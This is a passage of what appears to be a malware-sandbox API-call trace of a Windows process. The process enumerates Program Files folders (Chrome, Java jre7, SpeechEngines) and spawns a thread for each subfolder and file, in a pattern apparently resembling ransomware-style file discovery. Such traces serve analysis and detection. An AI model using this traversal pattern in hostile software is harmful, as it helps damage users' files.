Files\\SpeechEngines\\*", lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440520 [0046.771] wcscmp (_String1=".", _String2=".") returned 0 [0046.771] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.771] wcscmp (_String1="..", _String2=".") returned 1 [0046.771] wcscmp (_String1="..", _String2="..") returned 0 [0046.771] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0046.771] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0046.771] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0046.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400718 [0046.771] wcscpy (in: _Dest=0x400718, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0046.771] wcscat (in: _Dest=0x400718, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0046.771] wcscat (in: _Dest=0x400718, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0047.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0047.893] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0047.893] FindClose (in: hFindFile=0x440520 | out: hFindFile=0x440520) returned 1 [0047.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425450) returned 1 [0047.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420ee8) returned 1 [0047.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420cb8) returned 1 Thread: id = 131 os_tid = 0x508 [0046.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414518 [0046.020] wcscpy (in: _Dest=0x414518, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0046.020] wcscat (in: _Dest=0x414518, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0046.020] wcscat (in: _Dest=0x414518, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\*" [0046.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.020] wcscmp (_String1=".", _String2=".") returned 0 [0046.020] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.020] wcscmp (_String1="..", _String2=".") returned 1 [0046.020] wcscmp (_String1="..", _String2="..") returned 0 [0046.020] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0046.020] wcscmp (_String1="Application", _String2=".") returned 1 [0046.020] wcscmp (_String1="Application", _String2="..") returned 1 [0046.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420f58 [0046.021] wcscpy (in: _Dest=0x420f58, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0046.021] wcscat (in: _Dest=0x420f58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0046.021] wcscat (in: _Dest=0x420f58, _Source="Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0046.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0046.022] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0046.022] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0046.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414518) returned 1 [0046.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 Thread: id = 132 os_tid = 0x4a4 [0046.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445d10 [0046.023] wcscpy (in: _Dest=0x445d10, _Source="C:\\Program Files (x86)\\Google\\CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0046.023] wcscat (in: _Dest=0x445d10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\") returned="C:\\Program Files (x86)\\Google\\CrashReports\\" [0046.023] wcscat (in: _Dest=0x445d10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\*") returned="C:\\Program Files (x86)\\Google\\CrashReports\\*" [0046.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.023] wcscmp (_String1=".", _String2=".") returned 0 [0046.023] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.023] wcscmp (_String1="..", _String2=".") returned 1 [0046.023] wcscmp (_String1="..", _String2="..") returned 0 [0046.023] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.023] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0046.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d10) returned 1 [0046.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449ed0) returned 1 Thread: id = 133 os_tid = 0xc0 [0046.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444b40 [0046.024] wcscpy (in: _Dest=0x444b40, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.024] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.024] wcscat (in: _Dest=0x444b40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\*" [0046.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.025] wcscmp (_String1=".", _String2=".") returned 0 [0046.025] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.025] wcscmp (_String1="..", _String2=".") returned 1 [0046.025] wcscmp (_String1="..", _String2="..") returned 0 [0046.025] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0046.025] wcscmp (_String1="bin", _String2=".") returned 1 [0046.025] wcscmp (_String1="bin", _String2="..") returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413cd8 [0046.025] wcscpy (in: _Dest=0x413cd8, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.025] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.025] wcscat (in: _Dest=0x413cd8, _Source="bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0046.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0046.026] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0046.026] wcscmp (_String1="COPYRIGHT", _String2=".") returned 1 [0046.026] wcscmp (_String1="COPYRIGHT", _String2="..") returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a370 [0046.026] wcscpy (in: _Dest=0x44a370, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.026] wcscat (in: _Dest=0x44a370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.026] wcscat (in: _Dest=0x44a370, _Source="COPYRIGHT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0046.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0046.027] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0046.027] wcscmp (_String1="lib", _String2=".") returned 1 [0046.027] wcscmp (_String1="lib", _String2="..") returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414518 [0046.027] wcscpy (in: _Dest=0x414518, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.027] wcscat (in: _Dest=0x414518, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.027] wcscat (in: _Dest=0x414518, _Source="lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0046.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0046.028] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0046.028] wcscmp (_String1="LICENSE", _String2=".") returned 1 [0046.028] wcscmp (_String1="LICENSE", _String2="..") returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a3d0 [0046.028] wcscpy (in: _Dest=0x44a3d0, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.028] wcscat (in: _Dest=0x44a3d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.028] wcscat (in: _Dest=0x44a3d0, _Source="LICENSE" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0046.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0046.030] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0046.030] wcscmp (_String1="README.txt", _String2=".") returned 1 [0046.030] wcscmp (_String1="README.txt", _String2="..") returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a430 [0046.030] wcscpy (in: _Dest=0x44a430, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.030] wcscat (in: _Dest=0x44a430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.030] wcscat (in: _Dest=0x44a430, _Source="README.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\README.txt" [0046.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0046.031] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0046.031] wcscmp (_String1="release", _String2=".") returned 1 [0046.031] wcscmp (_String1="release", _String2="..") returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a490 [0046.031] wcscpy (in: _Dest=0x44a490, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.031] wcscat (in: _Dest=0x44a490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.031] wcscat (in: _Dest=0x44a490, _Source="release" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\release") returned="C:\\Program Files (x86)\\Java\\jre7\\release" [0046.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0046.032] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0046.032] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2=".") returned 1 [0046.032] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2="..") returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416660 [0046.032] wcscpy (in: _Dest=0x416660, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.032] wcscat (in: _Dest=0x416660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.032] wcscat (in: _Dest=0x416660, _Source="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0046.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0046.033] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0046.033] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2=".") returned 1 [0046.033] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2="..") returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4466e8 [0046.033] wcscpy (in: _Dest=0x4466e8, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.033] wcscat (in: _Dest=0x4466e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.033] wcscat (in: _Dest=0x4466e8, _Source="THIRDPARTYLICENSEREADME.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0046.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4466e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0046.039] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0046.039] wcscmp (_String1="Welcome.html", _String2=".") returned 1 [0046.039] wcscmp (_String1="Welcome.html", _String2="..") returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445d10 [0046.039] wcscpy (in: _Dest=0x445d10, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0046.040] wcscat (in: _Dest=0x445d10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") 